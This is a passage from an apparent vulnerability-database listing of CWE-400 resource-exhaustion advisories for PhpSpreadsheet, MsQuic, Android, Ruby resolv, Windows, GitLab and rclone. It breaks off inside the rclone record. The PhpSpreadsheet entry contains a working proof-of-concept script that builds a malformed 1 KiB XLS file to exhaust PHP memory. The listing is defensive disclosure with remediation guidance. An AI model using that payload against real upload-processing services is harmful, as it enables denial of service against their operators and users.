Common Weakness Enumeration
CWE-400
DiscouragedUncontrolled Resource Consumption
Abstraction: Class · Status: Draft
The product does not properly control the allocation and maintenance of a limited resource.
6049 vulnerabilities reference this CWE, most recent first.
GHSA-XH5M-36R6-47M3
Vulnerability from github – Published: 2026-07-23 15:01 – Updated: 2026-07-23 15:01
VLAI
Summary
PHPSpreadsheet: XLS/OLE sector-chain self-loop causes memory exhaustion
Details
Summary
PhpSpreadsheet's OLE reader follows sector chains from attacker-controlled XLS/OLE metadata without detecting cycles or enforcing a maximum chain length. A tiny malformed .xls/OLE file can set the small-block depot sector chain to point back to itself. During normal XLS detection, OLERead::read() appends the same sector data repeatedly until the PHP process exhausts memory.
This is reachable from Reader\Xls::canRead() and therefore from automatic spreadsheet type detection. Applications that accept attacker-controlled spreadsheet uploads can suffer denial of service from a very small file.
Vulnerability details
OLERead::read() loads the input and builds sector chains from attacker-controlled OLE header and allocation-table values:
src/PhpSpreadsheet/Shared/OLERead.php:82reads the entire file after validating only the OLE magic.src/PhpSpreadsheet/Shared/OLERead.php:84-97reads sector-chain metadata from the file header.src/PhpSpreadsheet/Shared/OLERead.php:132-146buildsbigBlockChainand then follows the small-block depot chain.
The vulnerable loop is:
$sbdBlock = $this->sbdStartBlock;
$this->smallBlockChain = '';
while ($sbdBlock != -2) {
$pos = ($sbdBlock + 1) * self::BIG_BLOCK_SIZE;
$this->smallBlockChain .= substr($this->data, $pos, 4 * $bbs);
$pos += 4 * $bbs;
$sbdBlock = self::getInt4d($this->bigBlockChain, $sbdBlock * 4);
}
There is no visited-sector set, no maximum iteration count, no EOF bound, and no check that the next sector differs from a previously visited sector. If the allocation table maps sector 0 to sector 0, the loop appends the same sector data forever until memory is exhausted.
The issue is reachable during normal reader detection/loading:
src/PhpSpreadsheet/Reader/XlsBase.php:153-165callsOLERead::read()fromcanRead().src/PhpSpreadsheet/Reader/Xls.php:376-383callsOLERead::read()fromloadOLE().src/PhpSpreadsheet/IOFactory.php:181-213callscanRead()while creating a reader for a file, so automatic format detection can trigger the issue.
Similar unbounded sector-chain walks exist later in stream reading:
src/PhpSpreadsheet/Shared/OLERead.php:175-180src/PhpSpreadsheet/Shared/OLERead.php:198-202src/PhpSpreadsheet/Shared/OLERead.php:218-222
The proof of concept below confirms the small-block depot chain loop; the same remediation pattern should be applied to all sector-chain walks.
Impact
A 1 KiB file can crash a PHP worker during Xls::canRead() or automatic file-type detection. This can deny service to web applications, queue workers, preview services, or document converters that process untrusted spreadsheet uploads.
The issue occurs before the file is recognized as a valid workbook stream, so even detection/probing paths are affected.
Safe local proof of concept
This proof of concept uses only Docker with --network none; it creates the malformed OLE file inside the container and does not contact external infrastructure.
docker run --rm --network none -i \
-v /home/sondt23/Github/CVE/ares/github-repo/PhpSpreadsheet:/app \
-w /app ghcr.io/typo3/core-testing-php82:1.15 sh <<'SH'
set -eu
php -r '
$data = str_repeat("\0", 1024);
$set = function (int $off, string $bytes) use (&$data): void { $data = substr_replace($data, $bytes, $off, strlen($bytes)); };
$set(0, hex2bin("D0CF11E0A1B11AE1"));
$set(28, "\xfe\xff");
$set(30, pack("v", 9)); // sector size 512
$set(32, pack("v", 6)); // mini sector size 64
$set(44, pack("l", 1)); // 1 SAT sector
$set(48, pack("l", 0)); // directory first sector 0
$set(56, pack("l", 4096)); // mini stream cutoff
$set(60, pack("l", 0)); // SSAT first sector 0
$set(64, pack("l", 1)); // one SSAT sector
$set(68, pack("l", -2)); // no MSAT extension
$set(72, pack("l", 0)); // no extension sectors
$set(76, pack("l", 0)); // DIFAT says SAT is sector 0
$set(512, pack("l", 0)); // SAT entry for sector 0 points to itself
file_put_contents("/tmp/phpspreadsheet-ole-selfloop.xls", $data);
printf("ole_size=%d\n", filesize("/tmp/phpspreadsheet-ole-selfloop.xls"));
'
php -d memory_limit=64M -d display_errors=1 -r '
require "/app/vendor/autoload.php";
$r = new PhpOffice\PhpSpreadsheet\Reader\Xls();
var_dump($r->canRead("/tmp/phpspreadsheet-ole-selfloop.xls"));
' 2>&1 || true
SH
Observed output:
ole_size=1024
PHP Fatal error: Allowed memory size of 67108864 bytes exhausted (tried to allocate 48234528 bytes) in /app/src/PhpSpreadsheet/Shared/OLERead.php on line 143
PHP Stack trace:
PHP 1. {main}() Command line code:0
PHP 2. PhpOffice\PhpSpreadsheet\Reader\XlsBase->canRead($filename = '/tmp/phpspreadsheet-ole-selfloop.xls') Command line code:4
PHP 3. PhpOffice\PhpSpreadsheet\Shared\OLERead->read($filename = '/tmp/phpspreadsheet-ole-selfloop.xls') /app/src/PhpSpreadsheet/Reader/XlsBase.php:164
Suggested remediation
- Validate every OLE sector-chain walk with:
- a visited-sector set to reject cycles;
- maximum chain length based on file size and sector size;
- bounds checks before reading from
$this->data,$this->bigBlockChain, or$this->smallBlockChain; - rejection of negative sector IDs other than the documented end-of-chain marker.
- Replace fatal memory exhaustion with a recoverable
Reader\Exceptionfor malformed OLE chains. - Apply the same guarded chain-walk helper to:
- small-block depot chain construction;
- small-block stream extraction;
- big-block stream extraction;
readData().- Add regression tests with self-looping and out-of-range SAT/SSAT chains.
Severity
7.5 (High)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.8.0"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "5.8.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.10.6"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "3.3.0"
},
{
"fixed": "3.10.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.4.6"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.4.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.1.17"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.1.18"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.30.5"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.30.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59933"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-835"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-23T15:01:50Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nPhpSpreadsheet\u0027s OLE reader follows sector chains from attacker-controlled XLS/OLE metadata without detecting cycles or enforcing a maximum chain length. A tiny malformed `.xls`/OLE file can set the small-block depot sector chain to point back to itself. During normal XLS detection, `OLERead::read()` appends the same sector data repeatedly until the PHP process exhausts memory.\n\nThis is reachable from `Reader\\Xls::canRead()` and therefore from automatic spreadsheet type detection. Applications that accept attacker-controlled spreadsheet uploads can suffer denial of service from a very small file.\n\n## Vulnerability details\n\n`OLERead::read()` loads the input and builds sector chains from attacker-controlled OLE header and allocation-table values:\n\n- `src/PhpSpreadsheet/Shared/OLERead.php:82` reads the entire file after validating only the OLE magic.\n- `src/PhpSpreadsheet/Shared/OLERead.php:84-97` reads sector-chain metadata from the file header.\n- `src/PhpSpreadsheet/Shared/OLERead.php:132-146` builds `bigBlockChain` and then follows the small-block depot chain.\n\nThe vulnerable loop is:\n\n```php\n$sbdBlock = $this-\u003esbdStartBlock;\n$this-\u003esmallBlockChain = \u0027\u0027;\nwhile ($sbdBlock != -2) {\n $pos = ($sbdBlock + 1) * self::BIG_BLOCK_SIZE;\n\n $this-\u003esmallBlockChain .= substr($this-\u003edata, $pos, 4 * $bbs);\n $pos += 4 * $bbs;\n\n $sbdBlock = self::getInt4d($this-\u003ebigBlockChain, $sbdBlock * 4);\n}\n```\n\nThere is no visited-sector set, no maximum iteration count, no EOF bound, and no check that the next sector differs from a previously visited sector. If the allocation table maps sector `0` to sector `0`, the loop appends the same sector data forever until memory is exhausted.\n\nThe issue is reachable during normal reader detection/loading:\n\n- `src/PhpSpreadsheet/Reader/XlsBase.php:153-165` calls `OLERead::read()` from `canRead()`.\n- `src/PhpSpreadsheet/Reader/Xls.php:376-383` calls `OLERead::read()` from `loadOLE()`.\n- `src/PhpSpreadsheet/IOFactory.php:181-213` calls `canRead()` while creating a reader for a file, so automatic format detection can trigger the issue.\n\nSimilar unbounded sector-chain walks exist later in stream reading:\n\n- `src/PhpSpreadsheet/Shared/OLERead.php:175-180`\n- `src/PhpSpreadsheet/Shared/OLERead.php:198-202`\n- `src/PhpSpreadsheet/Shared/OLERead.php:218-222`\n\nThe proof of concept below confirms the small-block depot chain loop; the same remediation pattern should be applied to all sector-chain walks.\n\n## Impact\n\nA 1 KiB file can crash a PHP worker during `Xls::canRead()` or automatic file-type detection. This can deny service to web applications, queue workers, preview services, or document converters that process untrusted spreadsheet uploads.\n\nThe issue occurs before the file is recognized as a valid workbook stream, so even detection/probing paths are affected.\n\n## Safe local proof of concept\n\nThis proof of concept uses only Docker with `--network none`; it creates the malformed OLE file inside the container and does not contact external infrastructure.\n\n```bash\ndocker run --rm --network none -i \\\n -v /home/sondt23/Github/CVE/ares/github-repo/PhpSpreadsheet:/app \\\n -w /app ghcr.io/typo3/core-testing-php82:1.15 sh \u003c\u003c\u0027SH\u0027\nset -eu\nphp -r \u0027\n$data = str_repeat(\"\\0\", 1024);\n$set = function (int $off, string $bytes) use (\u0026$data): void { $data = substr_replace($data, $bytes, $off, strlen($bytes)); };\n$set(0, hex2bin(\"D0CF11E0A1B11AE1\"));\n$set(28, \"\\xfe\\xff\");\n$set(30, pack(\"v\", 9)); // sector size 512\n$set(32, pack(\"v\", 6)); // mini sector size 64\n$set(44, pack(\"l\", 1)); // 1 SAT sector\n$set(48, pack(\"l\", 0)); // directory first sector 0\n$set(56, pack(\"l\", 4096)); // mini stream cutoff\n$set(60, pack(\"l\", 0)); // SSAT first sector 0\n$set(64, pack(\"l\", 1)); // one SSAT sector\n$set(68, pack(\"l\", -2)); // no MSAT extension\n$set(72, pack(\"l\", 0)); // no extension sectors\n$set(76, pack(\"l\", 0)); // DIFAT says SAT is sector 0\n$set(512, pack(\"l\", 0)); // SAT entry for sector 0 points to itself\nfile_put_contents(\"/tmp/phpspreadsheet-ole-selfloop.xls\", $data);\nprintf(\"ole_size=%d\\n\", filesize(\"/tmp/phpspreadsheet-ole-selfloop.xls\"));\n\u0027\nphp -d memory_limit=64M -d display_errors=1 -r \u0027\nrequire \"/app/vendor/autoload.php\";\n$r = new PhpOffice\\PhpSpreadsheet\\Reader\\Xls();\nvar_dump($r-\u003ecanRead(\"/tmp/phpspreadsheet-ole-selfloop.xls\"));\n\u0027 2\u003e\u00261 || true\nSH\n```\n\nObserved output:\n\n```text\nole_size=1024\nPHP Fatal error: Allowed memory size of 67108864 bytes exhausted (tried to allocate 48234528 bytes) in /app/src/PhpSpreadsheet/Shared/OLERead.php on line 143\nPHP Stack trace:\nPHP 1. {main}() Command line code:0\nPHP 2. PhpOffice\\PhpSpreadsheet\\Reader\\XlsBase-\u003ecanRead($filename = \u0027/tmp/phpspreadsheet-ole-selfloop.xls\u0027) Command line code:4\nPHP 3. PhpOffice\\PhpSpreadsheet\\Shared\\OLERead-\u003eread($filename = \u0027/tmp/phpspreadsheet-ole-selfloop.xls\u0027) /app/src/PhpSpreadsheet/Reader/XlsBase.php:164\n```\n\n## Suggested remediation\n\n- Validate every OLE sector-chain walk with:\n - a visited-sector set to reject cycles;\n - maximum chain length based on file size and sector size;\n - bounds checks before reading from `$this-\u003edata`, `$this-\u003ebigBlockChain`, or `$this-\u003esmallBlockChain`;\n - rejection of negative sector IDs other than the documented end-of-chain marker.\n- Replace fatal memory exhaustion with a recoverable `Reader\\Exception` for malformed OLE chains.\n- Apply the same guarded chain-walk helper to:\n - small-block depot chain construction;\n - small-block stream extraction;\n - big-block stream extraction;\n - `readData()`.\n- Add regression tests with self-looping and out-of-range SAT/SSAT chains.",
"id": "GHSA-xh5m-36r6-47m3",
"modified": "2026-07-23T15:01:50Z",
"published": "2026-07-23T15:01:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-xh5m-36r6-47m3"
},
{
"type": "WEB",
"url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/85f2556b0bf5269061bf45932ecda8a128d81750"
},
{
"type": "PACKAGE",
"url": "https://github.com/PHPOffice/PhpSpreadsheet"
},
{
"type": "WEB",
"url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.30.6"
},
{
"type": "WEB",
"url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.18"
},
{
"type": "WEB",
"url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.4.7"
},
{
"type": "WEB",
"url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.7"
},
{
"type": "WEB",
"url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.8.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "PHPSpreadsheet: XLS/OLE sector-chain self-loop causes memory exhaustion"
}
GHSA-XH5M-8QQP-C5X7
Vulnerability from github – Published: 2023-10-10 21:23 – Updated: 2024-06-03 18:35
VLAI
Summary
Remote Denial of Service Vulnerability in Microsoft.Native.Quic.MsQuic.Schannel
Details
Impact
The MsQuic server application or process will crash, resulting in a denial of service.
Patches
The following patch was made:
- Don't Allow Version Negotiation Packets for Server Connections - https://github.com/microsoft/msquic/commit/3226cff07d22662f16fc98d605656860e64cd343
Workarounds
Beyond upgrading to the patched versions, there is no other workaround. You must upgrade or disable MsQuic functionality.
Severity
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.Native.Quic.MsQuic.Schannel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.2.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.Native.Quic.MsQuic.OpenSSL"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.2.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-38171"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-476"
],
"github_reviewed": true,
"github_reviewed_at": "2023-10-10T21:23:27Z",
"nvd_published_at": "2023-10-10T18:15:18Z",
"severity": "HIGH"
},
"details": "### Impact\nThe MsQuic server application or process will crash, resulting in a denial of service.\n\n### Patches\nThe following patch was made:\n\n- Don\u0027t Allow Version Negotiation Packets for Server Connections - https://github.com/microsoft/msquic/commit/3226cff07d22662f16fc98d605656860e64cd343\n\n### Workarounds\nBeyond upgrading to the patched versions, there is no other workaround. You must upgrade or disable MsQuic functionality.\n",
"id": "GHSA-xh5m-8qqp-c5x7",
"modified": "2024-06-03T18:35:09Z",
"published": "2023-10-10T21:23:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/microsoft/msquic/security/advisories/GHSA-xh5m-8qqp-c5x7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-38171"
},
{
"type": "WEB",
"url": "https://github.com/microsoft/msquic/commit/3226cff07d22662f16fc98d605656860e64cd343"
},
{
"type": "PACKAGE",
"url": "https://github.com/microsoft/msquic"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-38171"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Remote Denial of Service Vulnerability in Microsoft.Native.Quic.MsQuic.Schannel"
}
GHSA-XH5R-95XW-9RQ3
Vulnerability from github – Published: 2025-12-08 18:30 – Updated: 2025-12-08 21:30
VLAI
Details
In multiple functions of NotificationManagerService.java, there is a possible way to bypass the per-package channel limits causing resource exhaustion. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.
Severity
5.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2025-48584"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-08T17:16:15Z",
"severity": "MODERATE"
},
"details": "In multiple functions of NotificationManagerService.java, there is a possible way to bypass the per-package channel limits causing resource exhaustion. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.",
"id": "GHSA-xh5r-95xw-9rq3",
"modified": "2025-12-08T21:30:20Z",
"published": "2025-12-08T18:30:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48584"
},
{
"type": "WEB",
"url": "https://android.googlesource.com/platform/frameworks/base/+/08a0766708db2071d9b8b65abf40d7e8057daaa1"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2025-12-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XH69-987W-HRP8
Vulnerability from github – Published: 2025-07-15 14:37 – Updated: 2025-07-15 22:56
VLAI
Summary
resolv vulnerable to DoS via insufficient DNS domain name length validation
Details
A denial of service vulnerability has been discovered in the resolv gem bundled with Ruby.
Details
The vulnerability is caused by an insufficient check on the length of a decompressed domain name within a DNS packet.
An attacker can craft a malicious DNS packet containing a highly compressed domain name. When the resolv library parses such a packet, the name decompression process consumes a large amount of CPU resources, as the library does not limit the resulting length of the name.
This resource consumption can cause the application thread to become unresponsive, resulting in a Denial of Service condition.
Affected Version
The vulnerability affects the resolv gem bundled with the following Ruby series: * Ruby 3.2 series: resolv version 0.2.2 and earlier * Ruby 3.3 series: resolv version 0.3.0 * Ruby 3.4 series: resolv version 0.6.1 and earlier
Credits
Thanks to Manu for discovering this issue.
History
Originally published at 2025-07-08 07:00:00 (UTC)
Severity
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "resolv"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.2.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "resolv"
},
"ranges": [
{
"events": [
{
"introduced": "0.4.0"
},
{
"fixed": "0.6.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "resolv"
},
"ranges": [
{
"events": [
{
"introduced": "0.3.0"
},
{
"fixed": "0.3.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-24294"
],
"database_specific": {
"cwe_ids": [
"CWE-1284",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2025-07-15T14:37:08Z",
"nvd_published_at": "2025-07-12T04:15:46Z",
"severity": "MODERATE"
},
"details": "A denial of service vulnerability has been discovered in the resolv gem bundled with Ruby.\n\n## Details\nThe vulnerability is caused by an insufficient check on the length of a decompressed domain name within a DNS packet.\n\nAn attacker can craft a malicious DNS packet containing a highly compressed domain name. When the resolv library parses such a packet, the name decompression process consumes a large amount of CPU resources, as the library does not limit the resulting\nlength of the name.\n\nThis resource consumption can cause the application thread to become unresponsive, resulting in a Denial of Service condition.\n\n## Affected Version\nThe vulnerability affects the resolv gem bundled with the following Ruby series:\n* Ruby 3.2 series: resolv version 0.2.2 and earlier\n* Ruby 3.3 series: resolv version 0.3.0\n* Ruby 3.4 series: resolv version 0.6.1 and earlier\n\n## Credits\nThanks to Manu for discovering this issue.\n\n## History\nOriginally published at 2025-07-08 07:00:00 (UTC)",
"id": "GHSA-xh69-987w-hrp8",
"modified": "2025-07-15T22:56:19Z",
"published": "2025-07-15T14:37:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24294"
},
{
"type": "WEB",
"url": "https://github.com/ruby/resolv/commit/4c2f71b5e80826506f78417d85b38481c058fb25"
},
{
"type": "PACKAGE",
"url": "https://github.com/ruby/resolv"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/resolv/CVE-2025-24294.yml"
},
{
"type": "WEB",
"url": "https://www.ruby-lang.org/en/news/2025/07/08/dos-resolv-cve-2025-24294"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "resolv vulnerable to DoS via insufficient DNS domain name length validation"
}
GHSA-XH69-9JX5-XGPH
Vulnerability from github – Published: 2025-02-11 18:31 – Updated: 2025-02-11 18:31
VLAI
Details
Windows Active Directory Domain Services API Denial of Service Vulnerability
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2025-21351"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-11T18:15:34Z",
"severity": "HIGH"
},
"details": "Windows Active Directory Domain Services API Denial of Service Vulnerability",
"id": "GHSA-xh69-9jx5-xgph",
"modified": "2025-02-11T18:31:38Z",
"published": "2025-02-11T18:31:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-21351"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-21351"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XH7Q-HG94-4G3M
Vulnerability from github – Published: 2023-11-06 15:30 – Updated: 2023-11-06 15:30
VLAI
Details
An issue has been discovered in GitLab EE/CE affecting all versions starting before 16.3.6, all versions starting from 16.4 before 16.4.2, all versions starting from 16.5 before 16.5.1 which allows an attackers to block Sidekiq job processor.
Severity
4.3 (Medium)
{
"affected": [],
"aliases": [
"CVE-2023-3246"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-06T13:15:09Z",
"severity": "MODERATE"
},
"details": "An issue has been discovered in GitLab EE/CE affecting all versions starting before 16.3.6, all versions starting from 16.4 before 16.4.2, all versions starting from 16.5 before 16.5.1 which allows an attackers to block Sidekiq job processor.",
"id": "GHSA-xh7q-hg94-4g3m",
"modified": "2023-11-06T15:30:31Z",
"published": "2023-11-06T15:30:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3246"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/2014157"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/415371"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-XHF4-832V-7XCR
Vulnerability from github – Published: 2026-08-05 20:17 – Updated: 2026-08-31 14:53
VLAI
Summary
rclone: Unbounded HTTP CONNECT Response Headers Can Exhaust rclone Memory
Details
1. Summary
The shared HTTP CONNECT helper parses a proxy response with http.ReadResponse over an unrestricted buffered reader. The production helper accepted a valid response containing a 2 MiB header in three consecutive runs. A malicious or compromised configured proxy, or an active on-path actor controlling a plaintext HTTP-proxy hop, can grow memory until the process fails.
The security impact is process-wide exhaustion, not loss of access through the malicious proxy, which the proxy already controls. The victim must configure and use the proxy, so UI is Required and the rating is Medium.
2. Affected Assets & Attack Surface
- Verified rclone revision:
a0c09f1381ae93e2a9a33c529d170186c61ad058(v1.74.0-240-ga0c09f138) - Current-master check:
lib/proxy/http.gowas unchanged at master commit961266888fe797390c535386f3b3aa46f4853602on 2026-07-18 - Shared helper:
lib/proxy/http.go:23-81 - SFTP use:
backend/sftp/ssh_internal.go:25-45 - FTP use:
backend/ftp/ftp.go:465-479 - Proxy peer: configured malicious/compromised proxy or active on-path actor for a plaintext HTTP proxy
- TLS boundary: HTTPS proxy connections authenticate the proxy before this response is parsed, so an on-path actor must also defeat TLS
3. Technical Root Cause Analysis
HTTPConnectDial invokes http.ReadResponse(br, req) directly. This call does not inherit http.Transport.MaxResponseHeaderBytes. In the Go implementation used for validation, exported textproto.Reader.ReadMIMEHeader passes math.MaxInt64 limits, and textproto.NewReader explicitly instructs callers to use io.LimitReader or an equivalent bound for denial-of-service resistance. Rclone supplies no bound or total CONNECT-handshake deadline. The helper additionally returns the raw connection, so a safe remediation must preserve any tunnel bytes already buffered after the CONNECT response.
4. Proof-of-Concept & Evidence
- Configure the helper to use a test proxy.
- Accept rclone's CONNECT request.
- Return
HTTP/1.1 200 Connection Establishedwith anX-Fillheader containing 2 MiB of data. - The actual helper parses and accepts the entire response without a fixed ceiling; this succeeded in all three reruns.
The test establishes unbounded parsing behavior without intentionally exhausting the host.
5. Impact Assessment
Large or concurrent CONNECT responses can terminate the rclone process and interrupt unrelated FTP/SFTP remotes and mounts. Runtime OOM cannot be contained by RC panic recovery. SFTP reaches this parser before SSH server authentication, so target host-key validation does not constrain a malicious proxy; HTTPS proxy authentication does constrain ordinary on-path attackers.
6. Remediation Guidance
- Enforce a total CONNECT status/header budget before parsing.
- Add a fixed total handshake deadline as well as idle deadlines.
- Close the connection on an oversized or malformed response.
- Return a wrapper that consumes already buffered post-response tunnel bytes before the raw connection.
- Test large single/multiple headers, slow streaming, and concurrent handshakes.
Severity
5.9 (Medium)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.74.0"
},
"package": {
"ecosystem": "Go",
"name": "github.com/rclone/rclone"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.75.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-71310"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-05T20:17:52Z",
"nvd_published_at": "2026-08-05T21:16:58Z",
"severity": "MODERATE"
},
"details": "## 1. Summary\n\nThe shared HTTP CONNECT helper parses a proxy response with `http.ReadResponse` over an unrestricted buffered reader. The production helper accepted a valid response containing a 2 MiB header in three consecutive runs. A malicious or compromised configured proxy, or an active on-path actor controlling a plaintext HTTP-proxy hop, can grow memory until the process fails.\n\nThe security impact is process-wide exhaustion, not loss of access through the malicious proxy, which the proxy already controls. The victim must configure and use the proxy, so UI is Required and the rating is Medium.\n\n## 2. Affected Assets \u0026 Attack Surface\n\n- Verified rclone revision: `a0c09f1381ae93e2a9a33c529d170186c61ad058` (`v1.74.0-240-ga0c09f138`)\n- Current-master check: `lib/proxy/http.go` was unchanged at master commit `961266888fe797390c535386f3b3aa46f4853602` on 2026-07-18\n- Shared helper: `lib/proxy/http.go:23-81`\n- SFTP use: `backend/sftp/ssh_internal.go:25-45`\n- FTP use: `backend/ftp/ftp.go:465-479`\n- Proxy peer: configured malicious/compromised proxy or active on-path actor for a plaintext HTTP proxy\n- TLS boundary: HTTPS proxy connections authenticate the proxy before this response is parsed, so an on-path actor must also defeat TLS\n\n## 3. Technical Root Cause Analysis\n\n`HTTPConnectDial` invokes `http.ReadResponse(br, req)` directly. This call does not inherit `http.Transport.MaxResponseHeaderBytes`. In the Go implementation used for validation, exported `textproto.Reader.ReadMIMEHeader` passes `math.MaxInt64` limits, and `textproto.NewReader` explicitly instructs callers to use `io.LimitReader` or an equivalent bound for denial-of-service resistance. Rclone supplies no bound or total CONNECT-handshake deadline. The helper additionally returns the raw connection, so a safe remediation must preserve any tunnel bytes already buffered after the CONNECT response.\n\n## 4. Proof-of-Concept \u0026 Evidence\n\n1. Configure the helper to use a test proxy.\n2. Accept rclone\u0027s CONNECT request.\n3. Return `HTTP/1.1 200 Connection Established` with an `X-Fill` header containing 2 MiB of data.\n4. The actual helper parses and accepts the entire response without a fixed ceiling; this succeeded in all three reruns.\n\nThe test establishes unbounded parsing behavior without intentionally exhausting the host.\n\n## 5. Impact Assessment\n\nLarge or concurrent CONNECT responses can terminate the rclone process and interrupt unrelated FTP/SFTP remotes and mounts. Runtime OOM cannot be contained by RC panic recovery. SFTP reaches this parser before SSH server authentication, so target host-key validation does not constrain a malicious proxy; HTTPS proxy authentication does constrain ordinary on-path attackers.\n\n## 6. Remediation Guidance\n\n- Enforce a total CONNECT status/header budget before parsing.\n- Add a fixed total handshake deadline as well as idle deadlines.\n- Close the connection on an oversized or malformed response.\n- Return a wrapper that consumes already buffered post-response tunnel bytes before the raw connection.\n- Test large single/multiple headers, slow streaming, and concurrent handshakes.",
"id": "GHSA-xhf4-832v-7xcr",
"modified": "2026-08-31T14:53:36Z",
"published": "2026-08-05T20:17:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/rclone/rclone/security/advisories/GHSA-xhf4-832v-7xcr"
},
{
"type": "ADVISORY",
